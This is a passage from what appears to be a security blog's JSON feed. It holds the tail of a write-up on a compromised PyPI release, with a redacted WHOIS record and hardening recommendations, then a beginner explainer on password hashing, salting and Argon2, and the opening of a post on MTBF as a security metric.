style=\"display:flex;\"\u003e\u003cspan\u003eTech Name: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech Organization: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech Street: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech City: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech State/Province: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech Postal Code: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech Country: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech Phone: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech Phone Ext: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech Fax: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech Fax Ext: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTech Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eName Server: 1-you.njalla.no\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eName Server: 2-can.njalla.in\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eName Server: 3-get.njalla.fo\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDNSSEC: unsigned\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eURL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt;\u0026gt;\u0026gt; Last update of WHOIS database: 2024-07-03T15:04:44Z \u0026lt;\u0026lt;\u0026lt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFor more information on Whois status codes, please visit https://icann.org/epp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTerms of Use: Access to WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the registry database. The data in this record is provided by Identity Digital or the Registry Operator for informational purposes only, and accuracy is not guaranteed. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to (a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient\u0026#39;s own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator, a Registrar, or Identity Digital except as reasonably necessary to register domain names or modify existing registrations. When using the Whois service, please consider the following: The Whois service is not a replacement for standard EPP commands to the SRS service. Whois is not considered authoritative for registered domain objects. The Whois service may be scheduled for downtime during production or OT\u0026amp;E maintenance periods. Queries to the Whois services are throttled. If too many queries are received from a single IP address within a specified time, the service will begin to reject further queries for a period of time to prevent disruption of Whois service access. Abuse of the Whois system through data mining is mitigated by detecting and limiting bulk query access from single sources. Where applicable, the presence of a [Non-Public Data] tag indicates that such data is not made publicly available due to applicable data privacy laws or requirements. Should you wish to contact the registrant, please refer to the Whois records available through the registrar URL listed above. Access to non-public data may be provided, upon request, where it can be reasonably confirmed that the requester holds a specific legitimate interest and a proper legal basis for accessing the withheld data. Access to this data provided by Identity Digital can be requested by submitting a request via the form found at https://www.identity.digital/about/policies/whois-layered-access/. The Registrar of Record identified in this output may have an RDDS service that can be queried for additional information on how to contact the Registrant, Admin, or Tech contact of the queried domain name. Identity Digital Inc. and Registry Operator reserve the right to modify these terms at any time. By submitting this query, you agree to abide by this policy.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"recommendations\"\u003eRecommendations\u003c/h2\u003e\n\u003cp\u003eIf I were giving a professional recommendation for ensuring this sort of thing is more difficult to achieve in the future, based purely on my current knowledge of the incident, the first place I would start would be \u003cem\u003eonly\u003c/em\u003e doing releases through a github workflow. PyPI offers a relatively new \u0026ldquo;\u003ca href=\"https://docs.pypi.org/trusted-publishers/\"\u003etrusted publishing\u003c/a\u003e\u0026rdquo; implementation to connect to GitHub Actions, and they provide a \u003ca href=\"https://packaging.python.org/en/latest/guides/publishing-package-distribution-releases-using-github-actions-ci-cd-workflows/\"\u003euseful guide on publishing packages using Github Actions\u003c/a\u003e. By following this release pattern, no developer would possess an API key necessary to upload a malicious package.\u003c/p\u003e\n\u003cp\u003eYou can then further combine this with tightened Github branch protections, to ensure that the workflow to publish a PyPI package (and a docker hub image) can only be executed after proper code review and the requisite approvals.\u003c/p\u003e\n\u003cp\u003eIn a more reactive approach, it is likely possible to automate analysis of your published PyPI distributions in order to detect deviations from a clean build. But if your builds have some level of clear provenance, this becomes less interesting, less useful, and not worth the time spent.\u003c/p\u003e\n\u003ch2 id=\"conclusion\"\u003eConclusion\u003c/h2\u003e\n\u003cp\u003eBased on the evidence I\u0026rsquo;ve seen, I suspect that a PyPI API token was compromised, either through an accidental leak or a compromised developer workstation. The attacker showed a reasonable level of awareness, choosing to only publish to the PyPI package index, rather than also publishing the code to Github where it might be further scrutinized.\u003c/p\u003e\n\u003cp\u003eI would consider every key used between 2024-05-22T19:14:09Z and whatever time the 6.12.2 release was yanked on 2024-07-02 (the PyPI API does not appear to record this as a timestamp, only a boolean) to be potentially compromised, particularly if you have or may have had this version installed.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m interested to see how much more detail the Opentensor Foundation publishes as they continue their investigation.\u003c/p\u003e\n"
        },
        {
            "title": "Anatomy of a Hash",
            "date_published": "2023-01-15T15:50:13-07:00",
            "date_modified": "2024-03-17T13:11:03-07:00",
            "id": "https://0xda.de/blog/2023/01/anatomy-of-a-hash/",
            "url": "https://0xda.de/blog/2023/01/anatomy-of-a-hash/",
            "content_html": "\u003cblockquote\u003e\n\u003cp\u003eWhat is a hash? How do I decide which hashing algorithm to use? Where can I find 2500 words to read about password hashing?\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThese are all questions I\u0026rsquo;ve received while working as a security engineer, most often from software developers. There are tons of resources out there that resolve each of these questions, but I wanted to write up my own resource that I could refer back to or refer others to when this question inevitably comes up again.\u003c/p\u003e\n\u003cp\u003eHashing is a \u003cstrong\u003eone-way\u003c/strong\u003e function that transforms an input value into an output value \u003cstrong\u003edeterministically\u003c/strong\u003e. That means that whenever your hashing function receives a particular input, it will always produce the same output. The output values are often \u003cstrong\u003efixed-length\u003c/strong\u003e, meaning you could take the entire contents of Herman Melville\u0026rsquo;s Moby Dick, pass it through a hashing function, and end up with, say, 256 bits of data. But you could also take a short message, such as \u0026ldquo;Don\u0026rsquo;t forget to like and subscribe\u0026rdquo; and still end up with just 256 bits of data.\u003c/p\u003e\n\u003cp\u003eThese three properties, \u003cstrong\u003eone-way\u003c/strong\u003e, \u003cstrong\u003edeterministic\u003c/strong\u003e, and \u003cstrong\u003efixed-length\u003c/strong\u003e, make hashing a useful tool for security.\u003c/p\u003e\n\u003cp\u003ePerhaps one of the most prevalent places this happens is with passwords. Your password is used to log you into a website. Once upon a time both you and the website would know your password, and when you login the website would check against the password it knows, and if they matched, it would log you in. But this presented a big problem \u0026ndash; when websites would get hacked, your password was stored in \u003cem\u003eplain text\u003c/em\u003e next to your username or email. Now three parties know your password \u0026ndash; you, the website, and the attacker. The attacker can login as you and do whatever you can do.\u003c/p\u003e\n\u003cp\u003eThen along came hashing, and developers were advised to hash passwords so that the passwords couldn\u0026rsquo;t be recovered in the event of a data breach. Just pass the user\u0026rsquo;s password into this magic function and we will always spit out a value that is the same length and that can\u0026rsquo;t be reversed to reveal the password. When the user logs in, hash their password and then compare with the hashed version from the database. This had the added bonus that now you would always know exactly how long your \u003ccode\u003epassword\u003c/code\u003e field should be in the database \u0026ndash; whatever the output size of your hash function is.\u003c/p\u003e\n\u003cdiv class=\"infobox\"\u003e\n    \u003cimg class=\"infobox-img\" src=\"/img/dade-transparent-logo.png\"\u003e\n    \u003cspan\u003eEver had a password rejected because it contained characters like \u003ccode\u003e-\u003c/code\u003e, \u003ccode\u003e*\u003c/code\u003e, \u003ccode\u003e'\u003c/code\u003e, \u003ccode\u003e\u0026quot;\u003c/code\u003e, or \u003ccode\u003e;\u003c/code\u003e? These characters used to be responsible for tons of SQL injections through a combination of not hashing passwords at the application level as well as not using parameterized SQL statements. These days there are still some reasons to reject these characters, but they don\u0026rsquo;t necessarily mean that your passwords are stored in plaintext.\u003c/span\u003e\n\u003c/div\u003e\n\n\u003cp\u003eOne additonal property of good hashes for security purposes is that a small change in the input can result in a dramatic difference in the output. For example, if we were hashing the word \u0026ldquo;password\u0026rdquo; with a really awful hashing function that I\u0026rsquo;m making up on the spot, the output might look like \u0026ldquo;pswr\u0026rdquo;. (Note: This function is one-way and deterministic, but not fixed-length \u0026ndash; but it helps make the point) Using that same awful hashing function, we hash the word \u0026ldquo;passwords\u0026rdquo; and we get \u0026ldquo;pswrs\u0026rdquo;. Notice how similar this value is to the hash of \u0026ldquo;password\u0026rdquo;? Ignoring the fact that my awful hashing algorithm is just \u0026ldquo;remove every other letter\u0026rdquo;, we can see that similar inputs get similar outputs. By looking at just the outputs of the two hashes, and knowing how my hashing algorithm works, you can determine that the input values must be quite similar. Now see what happens when we use those same two inputs for the \u003ccode\u003esha256\u003c/code\u003e algorithm.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ echo \u0026#34;password\u0026#34; | sha256sum\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e6b3a55e0261b0304143f805a24924d0c1c44524821305f31d9277843b8a10f4e  -\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ echo \u0026#34;passwords\u0026#34; | sha256sum\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ec1f1f36d9be6f64a85698d9db973fd07eb86641c67ef91260120a628084dd632  -\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNotice how the whole string looks completely different? Now, even having both of these hashes, I don\u0026rsquo;t really know anything about how they might relate to one another.\u003c/p\u003e\n\u003cp\u003eThere are all sorts of hashing functions, with varying properties that make them stronger or weaker than other hashing functions. Cryptographers are always analyzing hashing algorithms to find flaws in them that could weaken them. Sometimes it doesn\u0026rsquo;t even take any flaw to consider a hash weak. The rapid growth of computing power means that functions that used to be slow to perform, maybe only dozens or hundreds of executions per second, are now able to be performed millions of times per second. What does this mean for the strength of a hashing function? To answer that, we\u0026rsquo;ll need to look at how hashes are attacked.\u003c/p\u003e\n\u003ch2 id=\"rainbow-tables\"\u003eRainbow Tables\u003c/h2\u003e\n\u003cp\u003eRemember how I said one of the properties of hashing that made it appealing to security was that it was \u003cstrong\u003eone-way\u003c/strong\u003e? Well, that\u0026rsquo;s true, but by itself it doesn\u0026rsquo;t necessarily mean that a hash\u0026rsquo;s input can\u0026rsquo;t be figured out. Continuing to use passwords as our example, think about what else has historically needed to be true for passwords \u0026ndash; the people creating them needed to be able to remember them and type them in. That means that passwords were often words, short phrases, or short strings of random characters. Whatever the chosen password is, a human probably created it, and there are only so many things a human is likely to create.\u003c/p\u003e\n\u003cp\u003eAn attacker can lean into this and combine the deterministic nature of hashing functions in order to generate tons of hashes for known inputs. It used to be especially common to pre-generate all of these possible hashes based on all the inputs you wanted to guess and then store them for later in what is known as a \u003cstrong\u003eRainbow Table\u003c/strong\u003e. Then, when you get a hash, you can just look it up in your table, rather than try to compute all the possible inputs that might produce that output on-demand.\u003c/p\u003e\n\u003cp\u003eRainbow tables are a less common attack vector today for a variety of reasons: improved hashing algorithms made precomputing results more difficult, GPU-based cracking got so fast that they could search a very similar amount of hashes per second as performing a lookup in a rainbow table, as well as a trend towards optimizing hash cracking efforts towards human generated passwords. One early attempt at making rainbow tables non-viable was the introduction of salting.\u003c/p\u003e\n\u003ch2 id=\"salting-a-hash\"\u003eSalting a Hash\u003c/h2\u003e\n\u003cp\u003eSalting a hash refers to generating a unique random string of characters that gets concatenated to the input value, in our case a password, before being fed into the hash function. Now you can have a series of randomly computer generated characters that combine with the user\u0026rsquo;s provided password in order to create a harder to crack password. A good password salt will have a large keyspace and be randomly generated per user. A less optimal password salt might be something like using the user\u0026rsquo;s username or email as the salt. A good password salt is helpful in preventing rainbow table attacks because values aren\u0026rsquo;t likely to be precomputed in the rainbow table for easy retrieval.\u003c/p\u003e\n\u003cdiv class=\"infobox\"\u003e\n    \u003cimg class=\"infobox-img\" src=\"/img/joey.png\"\u003e\n    \u003cspan\u003eBut dade, how do we know the salt that was used to hash a password when it\u0026rsquo;s time to compare the user\u0026rsquo;s password with the value from the database?\u003c/span\u003e\n\u003c/div\u003e\n\n\u003cp\u003eThe salt that is used with a password hash is typically stored in plaintext along side the hash. That way you can lookup the user, concatenate their salt to the provided password, and compare against the stored hash value. The salt by itself is not useful to an attacker, and is usually a completely randomly generated string, so storing it in plaintext along side the hash isn\u0026rsquo;t a big deal.\u003c/p\u003e\n\u003cp\u003eThese salts also help protect against weak or commonly used passwords, since the same input password, e.g. \u0026ldquo;password\u0026rdquo;, will have a different salt for every user, and so every user\u0026rsquo;s hash would have to be cracked separately \u0026ndash; cracking just one instance of a \u0026ldquo;password\u0026rdquo; password won\u0026rsquo;t immediately crack all instances of \u0026ldquo;password\u0026rdquo; passwords.\u003c/p\u003e\n\u003cdiv class=\"infobox\"\u003e\n    \u003cimg class=\"infobox-img\" src=\"/img/joey.png\"\u003e\n    \u003cspan\u003eOkay dade, but I don\u0026rsquo;t want to store my salts in plaintext alongside the password. What else can I do?\u003c/span\u003e\n\u003c/div\u003e\n\n\u003ch3 id=\"peppering-a-hash\"\u003ePeppering a Hash\u003c/h3\u003e\n\u003cp\u003ePeppering a hash is a similar concept to salting a hash, in fact NIST calls it \u0026ldquo;secret salting\u0026rdquo;. It\u0026rsquo;s pretty much functionally equivalent to salting, in that its typically a random value that is concatenated to a password before being hashed. But the key difference is that a salt is usually stored alongside the hash, whereas the pepper must be stored separately \u0026ndash; such as in a Hardware Security Module.\u003c/p\u003e\n\u003cp\u003eThere are additional sub-types of peppering, including a shared-secret pepper and a per-user pepper. The shared-secret pepper is used by every user of a particular application, which means the developer only needs to keep this one value secret in the HSM (or other storage). The per-user pepper, however, requires a way to not only store the secret value for each user, but also a way to quickly identify which pepper belongs to which user so that hashing can commence. Both of these options can significantly increase the cost of attacking password hashes, as the pepper must also be guessed. But if a hashing algorithm is fast enough that it can be computed millions of times per second on a single desktop computer, then even relying on a secret pepper value might bring little comfort.\u003c/p\u003e\n\u003cp\u003eI personally haven\u0026rsquo;t seen a whole lot of use of peppering these days, as modern hashing algorithms have taken different approaches to making hashes harder to crack, such as compute-hard functions and memory-hard functions.\u003c/p\u003e\n\u003ch2 id=\"compute-hard-hashing\"\u003eCompute-hard Hashing\u003c/h2\u003e\n\u003cp\u003eCompute-hard hashing is an evolution of the hashing function that includes a sliding computation cost. Perhaps the most popular example of this is Password Based Key Derivation Function 2 (PBKDF2). PBKDF2 introduces a psuedorandom function, most commonly Hash-based Message Authentiation Code (HMAC), that gets applied to the input repeatedly in order to derive the output that is used as the key. A PBKDF2 hash contains within the stored value a number of iterations to use, and the process must be repeated that many times on a given input in order to get the desired output.\u003c/p\u003e\n\u003cp\u003ePBKDF2 also maintains the concept of salting. This means that the inputs into a PBKDF2 hashing function will include:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe psuedorandom function to use\u003c/li\u003e\n\u003cli\u003eThe user\u0026rsquo;s provided password\u003c/li\u003e\n\u003cli\u003eThe per-user randomly generated salt\u003c/li\u003e\n\u003cli\u003eThe number of iterations to run the function\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eA neat thing about typical PBKDF2 implementations is that the number of iterations can be scaled over time because the number of iterations is typically stored alongside the hash. So even if you\u0026rsquo;re using a fast algorithm, by using a high number of iterations you are able to effectively combat the increased compute speed available to attackers. OWASP recommends 310,000 iterations of PBKDF2-HMAC-SHA256\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e, for instance.\u003c/p\u003e\n\u003cp\u003eAnother example of compute-hard hashing is \u003ca href=\"https://en.wikipedia.org/wiki/Bcrypt\"\u003ebcrypt\u003c/a\u003e, which was first published in 1999. It uses an iteration count mechanism as well in order to make the hashing function slower, thereby increasing the computation power required to crack hashes. Technically speaking, bcrypt is actually cache-hard, it works in a way that requires a bunch of data to be moved in and out of L1 cache, which is what makes it computationally expensive. But for simplicity sake, we can just remember that bcrypt takes longer based on how many iterations it has.\u003c/p\u003e\n\u003cp\u003eBut what if compute-hard hashing isn\u0026rsquo;t enough? I mean, compute power is cheap and compute-hard hashes can be highly parallelized across machines in order to significantly cut down on wall-time to crack hashes (the amount of actual time that passes, rather than cpu-time, which is the amount of time spent by a computer, summed across parallel executions).\u003c/p\u003e\n\u003ch2 id=\"memory-hard-hashing\"\u003eMemory-hard Hashing\u003c/h2\u003e\n\u003cp\u003eMemory-hard hashing is similar to compute-hard hashing in that it\u0026rsquo;s goal is to create hashes that can be configured with a scalable level of resistance to attacks. These hashes introduce a minimum amount of memory required to compute the hash, which helps to reduce how easy it is to parallelize cracking the hashes. Example hashes in this category include Argon2id and scrypt, which both allow configuring tradeoffs between the amount of CPU and RAM usage required to compute a hash.\u003c/p\u003e\n\u003cp\u003eArgon2 is the winner of the 2015 Password Hashing Competition\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e, and is recommended by OWASP as the best password hashing algorithm available\u003csup id=\"fnref1:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e.\u003c/p\u003e\n\u003ch2 id=\"identifying-a-hash\"\u003eIdentifying a Hash\u003c/h2\u003e\n\u003cp\u003eOkay so now we\u0026rsquo;ve talked about all of these different properties of hashing, some attack types against hashes, and what qualities make a good hash. What do they look like, though? Some hashes identify themselves in the output value, such as md5crypt using \u003ccode\u003e$1$\u003c/code\u003e as a prefix. Other hashes, though, do not make any attempt to make themselves identifiable, such as the sha256 examples used above.\u003c/p\u003e\n\u003cp\u003eWhenever I have a hash and I want to know what kind of hash it is, I typically head directly to the \u003ca href=\"https://hashcat.net/wiki/doku.php?id=example_hashes\"\u003eHashcat Example Hashes\u003c/a\u003e wiki page. It\u0026rsquo;s a page designed for helping debug hashcat\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e commands against known example hashes, but that also makes it perfect for trying to understand a hash that you might be looking at.\u003c/p\u003e\n\u003cp\u003eFor example, let\u0026rsquo;s look at an example Django password hash, which defaults to a PBKDF2 based hash, as discussed in the compute-hard hashing section. Django helpfully provides documentation on how it stores password hashes, the default list of password hashes, and how to use Argon2 in Django, all in it\u0026rsquo;s documentation on a page titled \u003ca href=\"https://docs.djangoproject.com/en/4.1/topics/auth/passwords/\"\u003ePassword management in Django\u003c/a\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;algorithm\u0026gt;$\u0026lt;iterations\u0026gt;$\u0026lt;salt\u0026gt;$\u0026lt;hash\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003eThose are the components used for storing a User’s password, separated by the dollar-sign character and consist of: the hashing algorithm, the number of algorithm iterations (work factor), the random salt, and the resulting password hash.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFor example:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epbkdf2_sha256$20000$H0dPx8NeajVu$GiC4k5kqbbR9qWBlsRgDywNqC2vd9kqfk7zdorEnNas=\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis tells us that the \u003ccode\u003epbkdf2_sha256\u003c/code\u003e hasher was used for this hash, with a work factor of \u003ccode\u003e20,000\u003c/code\u003e iterations, a salt of \u003ccode\u003eH0dPx8NeajVu\u003c/code\u003e, and the resulting password hash is \u003ccode\u003eGiC4k5kqbbR9qWBlsRgDywNqC2vd9kqfk7zdorEnNas=\u003c/code\u003e. Note that this example hash, from the Hashcat wiki, uses only 20,000 iterations, which is 290,000 iterations less than OWASP recommends. Django currently, at time of writing, defaults to 480,000 iterations\u003csup id=\"fnref:4\"\u003e\u003ca href=\"#fn:4\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e4\u003c/a\u003e\u003c/sup\u003e \u0026ndash; above and beyond the recommended OWASP value.\u003c/p\u003e\n\u003ch2 id=\"hashing-vs-encrypting\"\u003eHashing vs Encrypting\u003c/h2\u003e\n\u003cdiv class=\"infobox\"\u003e\n    \u003cimg class=\"infobox-img\" src=\"/img/joey.png\"\u003e\n    \u003cspan\u003eAlright, dade. I\u0026rsquo;ll encrypt my passwords going foward.\u003c/span\u003e\n\u003c/div\u003e\n\n\u003cp\u003eHold up there, Joey. It\u0026rsquo;s a common mixup to say that you\u0026rsquo;re going to encrypt passwords when what you really mean is you\u0026rsquo;re going to hash passwords. You see, there\u0026rsquo;s a very important difference between encryption and hashing. Besides the algorithms involved being different, the main thing you should know about the difference between encryption and hashing is that encryption is \u003cstrong\u003etwo-way\u003c/strong\u003e. Remember from earlier, we defined hashing as being a \u003cstrong\u003eone-way\u003c/strong\u003e function. If you encrypt something, the expectation is that there exists a method to undo the encryption, a.k.a decrypt it, and get the original value back, typically through the possession of some sort of key. But if you hash something, there isn\u0026rsquo;t a method to de-hash the value \u0026ndash; you must know (or be able to guess) the original value, hash that, and then compare in order to determine if you got the right value.\u003c/p\u003e\n\u003cp\u003eThis \u003cstrong\u003eone-way\u003c/strong\u003e property of hashing is what makes hashing passwords much safer than encrypting them, and it\u0026rsquo;s important to not confuse the two concepts.\u003c/p\u003e\n\u003ch2 id=\"wrapping-up\"\u003eWrapping Up\u003c/h2\u003e\n\u003cp\u003eI hope this has been a helpful exploration on the properties of hashing, types of attacks against hashes, and which hashes you should use. A quick recap:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHashing is a \u003cstrong\u003eone-way\u003c/strong\u003e, \u003cstrong\u003edeterministic\u003c/strong\u003e function that produces a \u003cstrong\u003efixed-length\u003c/strong\u003e output.\u003c/li\u003e\n\u003cli\u003eSalting and/or peppering can help prevent rainbow table attacks.\u003c/li\u003e\n\u003cli\u003eUsing compute-hard or memory-hard hashing is the best way to protect the secrets hidden behind the hash.\u003c/li\u003e\n\u003cli\u003eUse Argon2 if available, otherwise scrypt, bcrypt, or PBKDF2 are viable options.\u003c/li\u003e\n\u003cli\u003eEncryption is two-way, which makes it distinctly different than hashing\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAdditional thanks goes to \u003ca href=\"https://twitter.com/jmgosney\"\u003eJeremi Gosney\u003c/a\u003e for reviewing this post and providing additional insights into bcrypt, the fall of rainbow tables, and pointing out that banned characters from passwords doesn\u0026rsquo;t necessarily mean that passwords are being stored in plaintext. This post was written for a fairly beginner friendly understanding of hashing, but if you want to really understand it, Jeremi is \u003cem\u003ethe\u003c/em\u003e guy to talk to.\u003c/p\u003e\n\u003cp\u003eIf you have more questions or would like to see this article expanded to cover things I missed, please reach out to me \u003ca href=\"https://crime.st/@dade\"\u003e@dade@crime.st\u003c/a\u003e or \u003ca href=\"https://twitter.com/0xdade\"\u003e@0xdade\u003c/a\u003e.\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html\"\u003ehttps://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html\u003c/a\u003e\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u0026#160;\u003ca href=\"#fnref1:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://www.password-hashing.net/\"\u003ehttps://www.password-hashing.net/\u003c/a\u003e\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eHashcat is a popular open source hash cracking utility.\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:4\"\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/django/django/blob/main/django/contrib/auth/hashers.py#L299\"\u003ehttps://github.com/django/django/blob/main/django/contrib/auth/hashers.py#L299\u003c/a\u003e\u0026#160;\u003ca href=\"#fnref:4\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n"
        },
        {
            "title": "MTBF As a Security Metric",
            "date_published": "2020-11-23T13:37:00-08:00",
            "date_modified": "2024-03-17T13:11:03-07:00",
            "id": "https://0xda.de/blog/2020/11/mtbf-as-a-security-metric/",
            "url": "https://0xda.de/blog/2020/11/mtbf-as-a-security-metric/",
            "content_html": "\u003cp\u003e\u003cstrong\u003eEditor\u0026rsquo;s Note:\u003c/strong\u003e Per Nicole Forsgren, by way of Kelly Shortridge, MTBF may result in perverse incentives that optimize minimizing time between failure by focusing entirely on preventing failures, an ultimately futile exercise. I believe that every metric encourages, to some degree, the gamification of those metrics in order to take the path of least resistance towards \u0026ldquo;progress.\u0026rdquo; I leave the following blog post in tact, just read it with care and consideration around how this metric could potentially be gamified.\u003c/p\u003e\n\u003cp\u003eFor those of you who are not my close friends and colleagues, mind readers, private investigators, stalkers, or giant advertising companies, it may behoove you to understand that I spent my first years out of school working in the quality and reliability realm. This alternate universe is one of spreadsheets, databases, graphs about graphs, and bathtub curves. I particularly worked on solid state drives, which further entailed hundreds of thousands of dollars of extremely specialized equipment and a gratuitous overuse of \u0026ldquo;SMART\u0026rdquo;, which is often anything but.\u003c/p\u003e\n\u003cp\u003eOne metric that I found particularly interesting while working in this space was that of the Mean Time Between Failures, or MTBF for those in a rush who can\u0026rsquo;t afford those extra two syllables. One might think to one\u0026rsquo;s self that surely this time can be no more mean than any other time, even if this time is sandwiched between two failures. To those I would simply respond \u0026ldquo;Quite right, you are, dear reader.\u0026rdquo; I\u0026rsquo;ve consulted an esteemed colleague, the Honorable Wik Ipedia (pronounced wick ippida, not to be confused with the free online encyclopedia Wikipedia) to bring you the definition, as follows:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eMean Time Between Failures is the predicted elapsed time between inherent failures of a mechanical or electronic system, during normal system 